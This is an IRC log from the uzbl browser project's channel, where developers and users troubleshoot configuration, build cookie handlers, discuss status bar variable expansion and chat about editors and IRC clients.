22:20 < holizz> I'm already implementing it ;)
22:25 < jrick> GNU systems have egrep for extended regular expressions, right? (asking because they extended regex flags are different for gnu and bsd grep)
22:25 < ruskie> grep -E
22:25 < jrick> s/they/the
22:25 < ruskie> works just fine
22:25 < jrick> ok
22:25 < jrick> really? hmm, must be thinking of sed then
22:26 < ruskie> sed has gnu extensions so some bits might not work
22:26 < jrick> yeah, I found out (the hard way) that freebsd's sed doesn't respect \w and \W
22:27 < ruskie> :)
22:27 < ruskie> bsd's userland is very minimal
22:27 < jrick> yep
22:27 < ruskie> some people like it that way I guess
22:27 < jrick> I like it that way :)
22:27 < ruskie> I prefer the gnu extensions for the most part
22:32 < jrick> ok, that go-up script (using sh) should be a bit easier to understand now
22:32 < jrick> (on the wiki)
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22:34  * ruskie crawls off to bed
22:37 < Dieterbe> me too
22:37 < Dieterbe> good night dudes
22:37 < holizz> Night.
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22:42 < Frots> hi there everyone
22:43 < holizz> Hello.
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22:49 < rob|> bct: looks really good, though the example status_format seems to contain some weird whitespace
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23:11 < rob|> hmm, everything work nicely except MODE
23:11 < rob|> *works
23:19 < Frots> so long suckers
23:19 < rob|> well, actually it does work, though there seem to be issues when command_indicator/insert_indicator contains pango markup. for some strange reason this seems to be no problem in the progressbar
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23:41 < miinar> hi
23:41 < rob|> hey
23:42 < miinar> does someone know why socket and fifo files cannot be created by uzbl?
23:43 < miinar> or how I could test what happened
23:43 < rob|> probably uzbl crahsed on you and did not remove the previous ones
23:43 < miinar> there are no socket files
23:44 < rob|> do you get any error messages? try running with '--verbose'
23:46 < miinar> init_fifo: created successfully as ~/.tmp/uzbl_fifo_4194337
23:46 < miinar> init_socket: opened in ~/.tmp/uzbl_socket_4194337
23:46 < miinar> but zsh: no matches found: ~/.tmp/uzbl*
23:47 < rob|> the problem is the '~', try using a full path
23:49 < miinar> rob|: thanks, it works :)
23:49 < rob|> sure thing
23:50 < miinar> hmm... but uzbl_tabbed does have problems
23:50 < miinar> br
23:50 < holizz> What problems?
23:51 < miinar> brb
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00:09 < timofonic> Hi. Any way to emacsize Uzbl?
00:12 < holizz> timofonic, There's been lots of things happening lately in the world of keybindings. But I'm not sure emacs-like keybindings are possible yet.
00:12 < miinar> timofonic: afaik not
00:12 < timofonic> I see :(
00:13 < miinar> timofonic: currently ctrl-keybindings are not possible yet
00:13 < miinar> holizz: the created socket file cannot be found
00:14 < miinar> when I try to create a tab or something I get "zsh: can't open input file:"
00:15 < holizz> In uzbl_tabbed? What's socket_dir set to?
00:15 < miinar> holizz: .tmp in home dir
00:15 < miinar> /home/user/.tmp
00:15 < timofonic> Damn vim sect, it's a conspiracy against emacs! :D
00:16 < miinar> timofonic: muhahaha
00:17 < holizz> miinar, uzbl_tabbed seems to set socket_dir and fifo_dir itself. So if you change those in the source maybe it'll work.
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00:22 < timofonic> miinar: There are rumours about someone doing a webkit extension for emacs...
00:23 < holizz> Teehee. I'm using my branch which uses libsoup's cookiejar again. uzbl is now about 20x faster.
00:23 < timofonic> miinar: So one less thing for making emacs a complete OS...
00:23 < miinar> holizz: I did
00:23 < holizz> WebKit extension for Emacs...? As in sticking a WebKitWebView inside Emacs?
00:24 < miinar> timofonic: but you even need an editor for your emacs os :P
00:24 < holizz> Quick! Somebody rewrite vim in LISP!
00:25 < eekee> holizz: would you likw vi-mode, vip, or viper?
00:26 < eekee> also what is with everyone in the last few months calling vi vim?
00:26 < holizz> eekee, Oh dear. I'd forgotten those existed.
00:26 < holizz> eekee, I don't use vi. I just use vim.
00:27 < eekee> I use vim & elvis, depending on machine
00:27 < eekee> trying to give up both though ;)
00:27 < holizz> If I wanted to use a text editor with no features I'd use ed!
00:27 < holizz> ed isn't bloated like vi.
00:27 < eekee> ed's a pain lol
00:28 < eekee> I had to use it on a plan 9 box which wouldn't boot it's gui one day
00:28 < timofonic> miinar: We can program one in elisp! Or even python
00:29 < timofonic> eekee: plan9, nice toy but unusable thanks to Bell Labs and their stupidity. That "assign all your copyright to us" is evil, the same as with CUPS...
00:29 < timofonic> Seriously, any way for marry both awesome wm and uzbl?
00:30 < timofonic> http://awesome.naquadah.org
00:30 < dxdx> timofonic: i use it with max layout and i'm happy
00:30 < miinar> timofonic: whats the problem?
00:31 < holizz> dxdx, Me too.
00:31 < timofonic> miinar: I want to integrate it with awesome :)
00:31 < miinar> timofonic: write a script
00:31 < miinar> :P
00:31 < timofonic> miinar: Like a nice url bar showing after pressing some key, then opening the site with it...
00:31 < timofonic> miinar: Ok :)
00:31 < eekee> don't think that copyright clause is much different from any OSS project, except Plan 9 covers a bit more than the average project. ah well
00:32 < miinar> timofonic: should be easy... just look like uzbl_tabbed.py works
00:32 < timofonic> eekee: Their project isn't enough open but well...
00:32 < timofonic> miinar: ok :)
00:32 < timofonic> miinar: The vi way makes me mad, I have anti-vi brain and unable to switch between command and insert mode...
00:32 < timofonic> miinar: I press "i", unable to type on forms
00:32 < timofonic> miinar: I press "c" and try to use commands, nothing happens
00:33 < dxdx> timofonic: set always_insert_mode = 1
00:33 < miinar> timofonic: hum... what happens when you type i or c?
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00:35  * eekee chuckles, "there's someone grumbling in #plan9 abotu the project owners at least once a week"
00:36 < jrm8005> ?
00:36  * dxdx wonders why does #uzbl end up talking about plan9 even when jrm8005 is offline
00:36  * eekee shuts up now
00:36 < jrm8005> because plan9 is genuinely inteteresting and well-engineered?
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00:36 < dxdx> jrm8005: lol
00:40 < timofonic> dxdx: Nothing :P
00:40 < timofonic> dxdx: Ok, I'll try tomorrow
00:40 < timofonic> GOing to sleep, I'm really tired
00:40 < timofonic> See you all :)
00:40 < dxdx> timofonic: oh, btw, you just made me consider using awful.prompt as an url bar for uzbl
00:41 < timofonic> dxdx: That seems interesting :D
00:41 < dxdx> so if i write it, i'll highlight you
00:41 < timofonic> I'm going to sleep or lack of sleeping will kill me :P
00:41 < timofonic> dxdx: Nice, thanks. You can put it in the wiki too :)
00:42 < timofonic> dxdx: You are AWESOME, haha
00:43 < timofonic> Another thing, WTF is the socket dir? :P
00:44 < timofonic> It seems uzbl config is still wrong, well...
00:44 < timofonic> I'll check it tomorrow
00:44 < timofonic> See you, and thanks for all :)
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01:46 < bob_f> Who was the dude here that was interested in my music ? My memory has failed me again. Anyway, I got around to launching my website: http://www.soundbush.com/
01:47 < bob_f> It's missing Atom/RSS/email notification, but otherwise it's pretty complete, considering I just launched it. :)
01:53 < uranther> bob_f, i like the piano improvs
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03:10 < mason_l> It was me bob_f, I've changed my nickname to better reflect my github username.
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03:23 < andy753421> I wrote a cookie handler that actually works :)
03:24 < andy753421> http://lug.rose-hulman.edu/svn/misc/trunk/cmd/cookie.c and http://lug.rose-hulman.edu/svn/misc/trunk/config/spenceal/uzbl/cookie.sh
03:24 < andy753421> cookie.sh handles splitting and merging session and persistent cookies, and cookie.c handles actually writing the files (using libsoup)
03:25 < andy753421> session cookies are stored in /tmp/uzbl-cookies.txt and set to expire in a month (or on next reboot if you wipe /tmp/)
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03:46 < dxdx> andy753421: why use both C and sh?
03:48 < dxdx> you still have the cost of starting an interpreter (but not as much as starting python)
03:49 < andy753421> I was more concerned with dependencies than startup cost
03:51 < dxdx> so you didn't notice how the other scripts fsck up the CPU by being called hundreds of times per page?
03:51 < andy753421> i've been trying to reduce the number of interpreters I use, since bash is used by the system anyway and will likely be cached in virtual memory already i wasn't concerned with the startup cost
03:52 < dxdx> good point, i should try it myself and see the difference then
03:53 < andy753421> I wasn't using C for speed, I was using it because it has a cookie jar library that's already loaded into memory by uzbl anyway
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04:04 < dxdx> andy753421: i can't login to gmail
04:04 < dxdx> oh shit, it segfaults
04:04 < andy753421> heh, the C program?
04:05 < dxdx> #0  0xb7f04510 in soup_cookie_set_expires () from /usr/lib/libsoup-2.4.so.1
04:06 < andy753421> hm..
04:06 < dxdx> that's all the backtrace (and i didn't enable debug symbols)
04:06 < andy753421> i get the same thing, i'll take a look at it
04:07 < dxdx> #1  0x08048ba9 in main (argc=2, argv=0xbfa4a874) at cookie.c:72
04:08 < dxdx> the rest of the backtrace, now with debug symbols
04:13 < andy753421> seems like libsoup doesn't like parsing the gmail headers
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04:15 < andy753421> hm. it's because the cookie is for www.google.com and the URL is gmail.com
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04:56 < dxdx> andy753421: interesting, that's a bug in uzbl then, in the current way to send cookies to the handler (the right way is to write a custom libsoup handler. lol)
04:57 < Rodya> iirc, there's something odd about the way google handles their cookies, but i don't recall what
04:57 < dxdx> i think that's an iframe
04:58 < dxdx> so we send the main frame URI to handlers, not the one that actually made the request
04:59 < bct> i see you're using $6 in cookie.sh
05:00 < bct> the way uzbl works right now, that will be set to the URL that is loaded when the cookie handler is called
05:00 < bct> so if you're on a.example and you navigate to b.example, $6 will be set to a.example
05:02 < andy753421> yea, i'm looking at that too, i tried creating the uri from using http[s]://$domain$path and am playing around with some of that
05:02 < andy753421> there were problems with HttpOnly too
05:03 < bct> holizz just posted a changeset to the mailing list that adds the scheme to the arguments that cookiehandler is called with.
05:03 < bct> and maybe other changes too.
05:04 < bct> (maybe not "just", i've been gone all day)
05:10 < andy753421> apparently the gmail problem was related to having the cookies prefixed with '; ' because of the lack of non-session cookies
05:15 < andy753421> I updated the files I posted earlier, they work with gmail now
05:16 < andy753421> bct: I haven't looked into the scheme arguments yet so I'm just prefixing everything with https, which is probably slightly insecure, but not that bad
05:16 < andy753421> although, there might be other security problems as well..
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05:31 < andy753421> what do most people use to edit the url? (i'm trying to up up a directory)
05:36 < joyfulgirl> andy753421: bind !goup = sh 'echo "set uri = $(dirname $6)" > $4'
05:36 < scj> uzbl.org/wiki/go-up has a whole bunch of ways
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07:16 < ruskie> good morrow all
07:17 < ruskie> lol I like how the shell version is so simple of that goup stuff ;)
07:26 < andy753421> is there a way to ctrl-click or something to open a link in a new instance?
07:28 < Rodya> right click -> open in new window
07:29 < andy753421> ok, is that hard coded in WebKit?
07:29 < Rodya> no idea
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07:34 < dxdx> timofonic: http://www.uzbl.org/wiki/awesome not as awesome as i'd like it (the parameters order sucks, and there's no URL history/completition support), but i can't continue it now
07:34 < dxdx> andy753421: there's a quite weird method to edit the url there ^
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07:54 < andy753421> patch to allow ctrl-clicking:  http://dpaste.com/66438/ (also emailed it to Dieterbe)
08:19 < timofonic> Good morning
08:19 < timofonic> dxdx: Nice
08:19  * dxdx is still awake
08:19 < timofonic> dxdx: I'll check it later, need to go because some bureaucracy stuff (language school signing)
08:20 < dxdx> okok
08:21  * timofonic is scared of looking at awesome stuff and ending too late because looking at other stuff and other and...
08:21 < timofonic> See you
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08:43 < rob|_> morning.
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08:44 < rob|> bct: found the problem, for some values initialize() is being called too early, it should be called _after_ settings_init()
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09:06 < rob|> so, pushed bct's expand() work with some tidying up - http://github.com/robm/uzbl/tree/master
09:06 < rob|> see the README, section "### TITLE AND STATUS BAR EVALUATION" for further info
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09:15 < rob|> cool thing about this is that you can easily use an external script/app to build the status/title bars and useragent, besides the obvious benefits
09:18 < ruskie> hmm does this mean an ascii spinner could be added while wait/recv??
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09:19 < rob|> well, you can add anything though the bar will be updated only on state changes
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09:21 < rob|> but yes, that should possible. get the value of @LOAD_PROGRESS and buils the spinner around that
09:21 < rob|> *build
09:22 < rob|> set status_format = foo bar \@(spinner.sh \@LOAD_PROGRESS)\@
09:22 < ruskie> will multilining the statusbars still work with the new code?
09:22 < rob|> yes, sure
09:24 < rob|> also keycmd is easier to handle now, 'set keycmd = anything' and that will appear on your bar
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11:07 < Dieterbe> good morning peeps
11:07 < N30N> hey Dieterbe
11:08 < holizz> Good morning.
11:10 < N30N> just made a quick canto script for uzbl ;)
11:12 < holizz> N30N, I started using canto. It's not bad. What does your script do?
11:12 < rob|> set status_format = @status_format \@(sh -c '[ "\@uri" = "http://www.uzbl.org/" ] && echo -n "Welcome home"')\@
11:12 < N30N> just generats a html page with all the feed info at the mo
11:12 < rob|> ;)
11:13 < holizz> rob|, That's sexy.
11:21 < Dieterbe> dxdx: what's so good about awful?
11:25 < holizz> If awful wrapped lines it would be cool.
11:26 < Dieterbe> lol rob| 
11:26 < N30N> holizz: feel free to finish it lol: http://www.uzbl.org/wiki/canto
11:27 < holizz> N30N, Oh dear. This looks distracting.
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12:56 < ruskie> hmm wrt to cookies... if there's a .someth.host.tld and someth.host.tld I should return all entries when matching: someth.host.tld ?
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13:42 < Dieterbe_> ruskie: i think so, yes
13:42 < Dieterbe_> OTOH, if applications send sometimes the one with a dot, and sometimes the one without, maybe there really is a difference
13:43 < ruskie> I can match on either and even do stuff like some.gib.erish.domain.tld and match for any bits of it
13:44 < ruskie> but need to do some special checking though
13:44 < ruskie> since I search first compare later instead of going one by one to compare
13:46 < ruskie> infact need to limit it a bit since I doubt I should be matching .tld as well
13:47 < Dieterbe_> there are some good explanations about how cookies work on the interwebs. i think i've put some interesting links in cookies.sh
13:48 < ruskie> yeah some some bits
13:48 < ruskie> will need to digest them further
13:48 < ruskie> atm I can store them fine and even take into account https-required
13:49 < ruskie> now need to find an efficient way to server them back
13:49 < ruskie> I could just go for each in first column compare with given but that would probably be very very slow
13:50 < ruskie> so atm I grep for ^$tmp_host\t and ^\.$tmp_host\t and return all the cookies found
13:50 < ruskie> but found atleast one issue
13:50 < ruskie> sourceforge.net sets sourceforge.net cookies but my comparison would grab .sourceforge.net as well
13:51 < ruskie> can't rely on having a single . in the domain since there are such things as domain.ath.cx and domain.co.uk
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15:21 < scj> foo.com sets the cookie for foo.com, .foo.com sets the cookie for all subdomains of foo.com
15:23 < Dieterbe_>  ah there we go
15:27 < scj> foo.com AND all subdomains. just to be clear
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15:59 < bob_f> lazzareth__: Aha, there you are. http://www.soundbush.com/
16:02 < Dieterbe_> bob_f: it's Mason-larobina ;0
16:02  * bob_f googles.
16:02 < bob_f> An Arch Linux man ?
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16:28 < koan> keyserver.ubuntu.com times out when I want to add the GPG keys for Webkit and Uzbl, anyone else having this problem?
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16:48 < mason-l> Hey bob_f :)
16:49 < mason-l> My xchat client keeps disconnecting and reconnecting as my old nick.
17:06 < bob_f> mason-l: Ooooooh.
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17:17 < ruskie> mason-l, so fix it ;)
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17:30 < mason-l> Ideally I want to throw away xchat all together. I just need a uzbl-irc-client :P
17:31 < scj> irssi goes a long way if you know a little perl
17:32 < mason-l> sadly not.
17:32 < mason-l> I wouldn't mind learning lisp or haskell but I wouldn't learn Perl knowing Python.
17:34 < mason-l> With the gtk knowledge I've picked up playing with uzbl_tabbed.py I think I can just about write my own client.
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17:35 < scj> why would you write a gtk irc client?
17:37 < uranther> yeah, write it in XCB :x
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17:39 < bob_f> mason-l: I wrote an IRC client.
17:39 < bob_f> It was fine, except it made python segfault (grrr curses), but I ended up switching back to irssi and just swallowing it.
17:39 < mason-l> bob_f, Awesome, have you published it anywhere?
17:39 < bob_f> Nah, it's a dead project.
17:40 < mason-l> Alas.
17:40 < bob_f> I sort of plan to rewrite it one day, but irssi can be poked to not suck so much, and it pretty much satisfies me.
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17:45 < ruskie> why not try weechat then? iirc it supports a ton of scripting langs
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17:48 < ruskie> extensible with Perl, Python, Ruby & Lua scripts <-- I think this would satisfy most
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17:50 < aCiD2> What do people dislike about irssi?
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17:51 < ruskie> I actually like it though I miss other than perl scripting support
17:51 < scj> I've actually switched from doing most of my scripting in python to perl due to irssi
17:51 < scj> perl is pretty bad ass
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17:52 < ruskie> I found weechat more annoying than irssi when I tried it
17:52 < ruskie> but that's been ages ago
17:52 < ruskie> need to give it another try sometime
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17:55 < aCiD2> I love Perl so much :)
17:57 < holizz> aCiD2, Why Perl?
17:58 < locks> oh god, not perl O:)
18:01 < scj> perl is for people who don't want to code in psuedocode :v
18:01 < ruskie> another weechat thing is support for multiple frontends ;)
18:07 < aCiD2> holizz: because I find it a great language, with a lot of flexibility
18:07 < aCiD2> Moose is probably one of the best object systems I've used (not the best, but definitely at the top)
18:09 < holizz> Moose? Is that something you use to hack object orientation into Perl?
18:09 < locks> http://www.iinteractive.com/moose/
18:09 < aCiD2> If you want to address it negatively, I guess
18:09 < aCiD2> I wouldn't call it a hack though, my self
18:10 < aCiD2> Based around a meta object protocol, so quite similar to CLOS
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18:14 < scj> I guess in that sense, CLOS is a "hack" too
18:14 < aCiD2> Just because the object system is written in the language itself, I don't think that makes it a hack :)
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18:45 < Dieterbe_>  aCiD2> What do people dislike about irssi? --> irssi is bloat and does not adhere to the unix philosophy.
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18:47 < Dieterbe_> hmm i might have formulated that a bit to trollish
18:48 < Dieterbe_> but basically i don't like the fact that irssi has it's own "window manager" built in, and also it's own package manager (you can update irssi from inside irssi itself.. yuck)
18:48 < Dieterbe_> ii seems much better in that regard
18:48 < Dieterbe_> but i'm lazy, so i stick with irssi
18:49 < Dieterbe_> also does anyone know how you can search in your scrollback buffer ?
18:51 < scj> Dieterbe_: in irssi? /help lastlog
18:54 < Dieterbe_> aha
18:55 < Phillemann> Hehehe, yes, we need an ncurses window manager :P
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18:55 < Phillemann> Well, screen has that sort of stuff built-in...
19:06 < igglyb> what about dvtm? http://brain-dump.org/projects/dvtm/
19:21 < ruskie> Phillemann, there's a few ncurses WMs
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19:23 < mikankun> is it possible to bind to the arrow keys?
19:23 < Phillemann> That might be, but irssi having its own window manager is a good way of being non-unixy. ;)
19:25 < holizz> rob|, bob_f, Was it one of you who was looking for the Psyco talk? It's been uploaded. http://mail.python.org/pipermail/europython/2009-July/007488.html
19:26 < holizz> And goodbye.
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19:28 < Dieterbe_> what? that was me ! :)
19:29 < Dieterbe_> oh, nm
19:29 < Dieterbe_> i wanted to see the uzbl talk, which is not on there :P
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20:18 < tsdh> Is the modkey only for escaping to command mode when being in insert mode, or can I bind keys with use the modkey explicitly?
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20:34 < N30N> tsdh: the former
20:35 < rob|> bct: you around?
20:35 < bct> yup.
20:35 < tsdh> N30N: Hm, ok.
20:36 < bct> rob|, can you send me an example of something that breaks the status bar?
20:36 < bct> and what do you mean by weird whitespace?
20:37 < rob|> bct: alright. you've done some nice work with your patch, i've pulled it and did some slight modifications
20:38 < rob|> bct: well, the status_format setting in the example config had lots of whitespace at places where it was ceratinly not intended to be
20:38 < rob|> looked like formating issues or something
20:39 < rob|> oh yeah, i also modified config.h to reflect the changes and reordered the call to set_insert_mode() in main()
20:41 < bct> aah, i probably messed up the copy/paste
20:41 < bct> ok.
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20:41 < bct> have you had any other problems with it?
20:41 < bct> and does 'make test' work?
20:42 < rob|> i've been running it since i pulled from you and everything seems to be stable and fine
20:43 < rob|> yep, make test works.
20:44 < rob|> i guess you can write the pull request
20:46 < bct> awesome, i'll do that tonight.
20:46 < rob|> ok nice :)
20:47 < rob|> btw we can easily (mis)use status_format now as a kind of mechanism to launch scripts on state changes..
20:49 < rob|> like this:  set status_format = @status_format \@(sh -c '[ "\@uri" = "http://www.uzbl.org/" ] && echo -n "Welcome home"')\@
20:49 < rob|> which is pretty cool >:)
20:51 < N30N> rob|: will we be able to do that with the title_* too? :)
20:51 < rob|> yes
20:51 < N30N> sweet :D
20:52 < rob|> yyeah :)
20:55 < bct> whoa. hmm.
20:55 < bct> it does open up all kinds of crazy possibilities.
20:55 < bct> i can't think of very many that are actually useful, but still :)
20:56 < bct> btw, 'set keycmd = foo' is equivalent to 'keycmd foo' now.
20:57 < bct> and you can do 'set insert_mode =' too, i don't remember if that was possible before my work
20:57 < bct> but i didn't bother to remove the commands.
20:58 < rob|> yep, which can be pretty cool in order to implement "external" key handling
20:58 < rob|> like passing the current value of keycmd to a script defined in status_format
20:59 < bct> yeah.
20:59 < bct> i was thinking that if we made bind do variable expansion it would simplify script arguments a lot
20:59 < bct> instead of having '> "4"' at the end of every command you could do '> "@name"'
21:00 < rob|> indeed, actually it would be useful if any action/command would expand its RHS
21:00 < rob|> well, its arguments
21:01 < bct> anyways, once this is merged i have to find something eles.
21:01 < bct> maybe a long-running cookie handler interface.
21:02 < bct> i'd also like to do some profiling, see what else is slowing us down
21:02 < bct> but i'm not sure where to start.
21:03 < rob|> there are tons of tutorials for gprof and friends out there
21:04 < bct> gprof doesn't really do multithreaded apps iirc
21:05 < Phillemann> callgrind is great for profiling
21:05 < Phillemann> And kcachegrind generates beautiful call graphs. :)
21:05 < rob|> but, regarding "long running" apps that need to react on events: what if we'd introduce a command that creates new sockets/fifos (i.e. more than one socket/fifo) per instance and would additionaly be able to set
21:05 < rob|> the debug level on a per socket basis
21:09 < rob|> so, the "long running" app would attach to the socket/fifo, filter the events it is interested in and take some action
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21:10 < bct> hmm, yeah.
21:11 < bct> there are a lot of different ways it could be done, i think someone needs to create a strawman implementation so that we can figure out what ideas we don't like
21:12 < bct> i'd love to just have each instance popen a handler script, but then it has to be responsible for its own locking.
21:13 < rob|> hmm, yeah
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21:22 < rob|> so would that handler script be some kind of dispatcher that starts other scripts per event?
21:23 < N30N> rob|: "set title_format_long = \@< 'SELECTED_URI' || 'TITLE' >\@" <-- the variables dont get replaced till after the js in run :(
21:23 < N30N> *is run
21:24 < rob|> hu? @SELECTED_URI
21:25 < rob|> even \@SELECTED_URI in that case
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21:35 < Dieterbe_> ok guys. someone is asking me some questions about uzbl, he'll write an article for "some site". now he asks me "which things would you really like to have mentioned?"  , what would you guys suggest?
21:37 < bct> yeah, you want \@SELECTED_URI.
21:37 < rob|> hmm, basically what's in the README but in a compact form? that question is rather unspecific..
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21:38 < N30N> bct: I tryed "set title_format_long = \@< '\@SELECTED_URI @SELECTED_URI SELECTED_URI' >\@" and only the last one gets replaced, and only after the js is run
21:40 < rob|> are you running my bct's branch or my master?
21:41 < N30N> rob|: oh it's only in robs? runnig experimental
21:41 < rob|> yeah in mine or bct's
21:41 < N30N> ah ok soz :)
21:42 < rob|> mine should merge just fine with diet's experimental
21:43 < N30N> ok I'll go for yours :)
21:43 < rob|> yeah, give it a try. testing welcome :)
21:45 < Dieterbe_> rob|: hmm yeah i'll add the design goals aspect. but the question goes much broader then that. so if you want to say something to the masses, you can do so now ;)
21:46 < rob|> Dieterbe_: will that be a technical article or just some general overview of uzbl?
21:47 < bct> N30N, after you merge your status bar and title will look really funky.
21:47 < bct> check out the changes to the example config
21:47 < Dieterbe_> quite tenchical
21:47 < Dieterbe_> rob|: ^^
21:48 < N30N> bct: I dont use the status bar, I wanna change the title bar now (thanks for the heads up tho) :)
21:50 < rob|> Dieterbe_: well, i guess i would mention our little language and try to give some short but cool examples that demonstrate how easy it is to do certain things where you'd need plugins and what not in other browsers
21:54 < rob|> Dieterbe_: basically i'd try to show what's so different about uzbl's concept comapared to other browsers and how this can be useful
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22:02 < bct> rob|, what branch did you merge to?
22:02 < rob|> master
22:03 < bct> ok, gotcha.
22:03 < bct> is there anything else on there that's different from dieterbe/experimental?
22:03 < rob|> yeah, the geometry thinng
22:04 < bct> ok.
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22:49 < github> uzbl: Tom Adams experimental SHA1-c004e5b
22:49 < github> Merge commit 'Dieterbe/experimental' into new_experimental
22:49 < github> http://bit.ly/yiX7f
22:49 < github> uzbl: Tom Adams experimental SHA1-5775e68
22:49 < github> Merge commit 'Dieterbe/experimental' into new_experimental
22:49 < github> http://bit.ly/3elVVg
22:49 < github> uzbl: Tom Adams experimental SHA1-fe84dba
22:49 < github> Add request address scheme to cookie_handler's arguments.
22:49 < github> http://bit.ly/415gsE
22:49 < github> uzbl: Tom Adams experimental SHA1-e4ec794
22:49 < github> cookies.py now fits in with the new arguments, and works better.
22:49 < github> http://bit.ly/krnKE
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22:52 < xci> hey guys, any clue why it complains "error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)", though that file is existent
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22:53 < bct> is XDG_DATA_HOME set?
22:53 < jrm8005> set it annnd forget it!
22:53 < xci> yeah, it is set
22:54 < xci> in other words, cat "$XDG_DATA_HOME/uzbl/scripts/history.sh" returns a couple of lines very nicely
22:54 < Dieterbe_> jrm8005: what do you think about the fd.o xdg spec?
22:54 < xci> I don't know if that is a big issue or anything (just started the new version and reading the readme, so not sure if it affects usage in any way)
22:55 < Dieterbe_> xci: maybe the variable is not set in the environment of uzbl. eg where do you set the variable?
22:55 < jrm8005> Dieterbe_: anything involving X, desktops, or gigantic standards is necessarily broken.
22:55 < xci> in the same bash shell I start uzbl after it
22:56 < Dieterbe_> jrm8005: that's the thing. xdg is actually a quite small spec, simple to implement. not necessearily related to X, more so to keeping things organized in ~
22:56 < Dieterbe_> xci: hmm in that case: weird
22:56 < jrm8005> I'd rather just use lib
22:56 < jrm8005> but whatevs.
22:57 < jrm8005> it's not like any modern Unix programs would do anything sane... and there's so many features and knobs that keeping things in your profile is impossible.
22:59 < xci> Dieterbe_: false alarm... when setting the other of those variables I accidentally omitted export, sry for bothering
23:01 < Dieterbe_> jrm8005: lib? is that a p9 thing?
23:01 < Dieterbe_> xci: no problem. live and learn :)
23:02 < Dieterbe_> anyway bedtime for me. see you ladies later
23:06 < jrm8005> Dieterbe_: actually, it started at the labs, but it's big in 9p
23:06 < jrm8005> you keep a directory in your home called lib
23:06 < jrm8005> (and one called bin, usually)
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00:03 < holizz> Dieterbe_, If you're there, yes Gmail & Facebook work with the new cookies.py thanks to my realising how stupidly I'd implemented it the first time round.
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00:07 < holizz> bob_f, On a related note, your cookies deamon should work better if you take my new cookies.py (in Dieterbe/experimental) and adapt that to what you're doing.
00:17 < bob_f> holizz: Can you remind me tmorrow ? I'll try to do it when I get back from work.
00:18 < bob_f> I'm off for a week on Thursday (well, until Monday, but I will be recovering for a few days afterwards) so I'll have to get it done then.
00:18  * bob_f passes out.
00:18 < holizz> bob_f, No problem.
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00:42 < scj> shouldn't "address scheme" be "protocol"?
00:46 < timofonic> dxdx: How's all? :)
00:47 < timofonic> dxdx: I have been busy today too. This week will be to geek stuff and the summer too (with some exercise to lose fat, but well...), so I'll be into C, LUA and awesome :)
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00:54 < bct> scj, "scheme" is the technical term.
00:55 < bct> because sometime's it's not a protocol (e.g. tag: URIs)
00:55 < bct> or tel:
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01:14 < bct> uranther, you around?
01:20 < uranther> sup
01:21 < bct> did you add any tests beyond that one example you had in test-1?
01:22 < uranther> nope
01:22 < uranther> i was going to wait until it was merged upstrema
01:22 < bct> ah, ok.
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01:22 < bct> i'm about to send a pull request for my branch that has a bunch of tests based on what you had
01:23 < bct> i just wanted to make sure that there wasn't going to be any crazy duplication.
01:23 < uranther> oh ok cool
01:23 < uranther> wasn't sure if you made those tests
01:23 < uranther> it'll be cool to see
01:24 < bct> yeah, it's for variable expansion mostly
01:24 < bct> developing with an automated test suite is so much easier, i don't know how people do without it.
01:25 < uranther> lol yeah
01:25 < uranther> it makes a lot of sense
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01:25 < uranther> in case of regressions
01:25 < bct> even just testing that what you're working on is working
01:25 < bct> maybe other people are better coders but without a test suite it's like
01:26 < bct> code && compile && run program && click around until i get to the thing i changed && segfault.
01:26 < bct> while true.
01:26 < uranther> yup
01:29  * uranther is addicted to symfony
01:31 < bct> php!?!
01:31  * bct gasps
01:35 < bct> how is it? php might be ok with a framework, my main problem with the language is that so many people write their own framework on top of the "default" one.
01:37 < uranther> symfony is pretty gangsta
01:37 < uranther> i'm actually having fun doing normally tedious gayshit like routing and sql queries
01:39 < bct> does it do ORM or raw SQL?
01:39 < uranther> ORM, Propel or Doctrine.. I"m using doctrine right now and it's pretty nice
01:41 < bct> it has its own query language?
01:41 < bct> intriguing.
01:42 < uranther> it's like, Doctrine::getTable('Something')->createQuery('a')->innerJoin('a.foo f')->where('a.id = ?', $request->getParameter('id'))->execute();
01:43 < uranther> yeah and you can use "DQL" too
01:43 < uranther> just discovered that
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03:01 < L29Ah> oh, i couldn't edit uzbl wiki due to cookies handler bug
03:01 < L29Ah> i've removed cookies.txt and now everything's ok
03:03 < L29Ah> so, the cookies-aware download handler is in the wiki now
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05:33 < sonkei> anyone know what needs to be done to fix problem with not reading the $XDG drives?
05:35 < joyfulgirl> sonkei: context?
05:35 < sonkei> the config wont read files in $XDG_DATA_HOME
05:37 < sonkei> i know i can just move it to $HOME but im kinda curious why it wont work with XDG setup =x
05:37 < joyfulgirl> sonkei: echo $XDG_DATA_HOME and make sure it matches your data locations (-: ... paste your uzbl config if that doesn't fix anything
05:39 < joyfulgirl> s/paste/&bin
05:41 < sonkei> arg brb
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05:49 < sonkei> http://pastebin.com/d670488e
05:49 < sonkei> is my config but its pretty much the standard..
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06:38 < rob|> mornin'
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06:45 < bct> good morning rob|.
06:46 < bct> btw: s/retreive_geometry/retrieve_geometry/
06:49 < rob|> oh right, thanks
06:53 < rob|> fixed :)
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08:25 < tsdh> Moin.
08:26 < tsdh> In a handler script I need to have some of the positional parameters url encoded.  Is there already some helper script/utility to do that?
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09:00 < scj> tsdh: write it in something other than bash
09:01 < tsdh> scj: Hm, well, I don't want to, but if that's the way to go...
09:02 < scj> I guess you could write a c program that urlencodes a string
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09:04 < tsdh> scj: Of course, but I'm pretty sure there are already dozens of programs I have installed that can do exactly that.  I just don't know which.
09:14 < Dieterbe_> good morning all
09:14 < Dieterbe_> uranther> i was going to wait until it was merged upstrema --> you are my upstream. i am your downstream :)
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09:28 < Frots> goodmorning
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09:34 < L29Ah> `$ wgetpaste `which urlencode`
09:34 < L29Ah> Your paste can be seen here: http://dpaste.com/66868/
09:34 < L29Ah> ^_^
09:40 < Frots> people, does anyone know why i cant use my external mouse or my touchpad anymore in X?? http://pastebin.ca/1494433 <- Xorg.0.log
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10:12 < Frots> ok im off bye and thanks everyone
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12:21 < rob|> np: Covenant - Call the ships to port  - great song..
12:31 < dunz0r> +1 on that
12:38 < rob|> oh, http://clickmovement.org/coderush  <-- [...] It documents the Mozilla team as they struggle to publish the first open source release of the Netscape Browser. [...]
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12:49 < holizz> rob|, This documentary about open source... available to watch streaming in Flash, or to download in RAR.
12:52 < rob|> heh, well..
12:54 < holizz> There's one un-RARed mp4 available. That's what I downloaded.
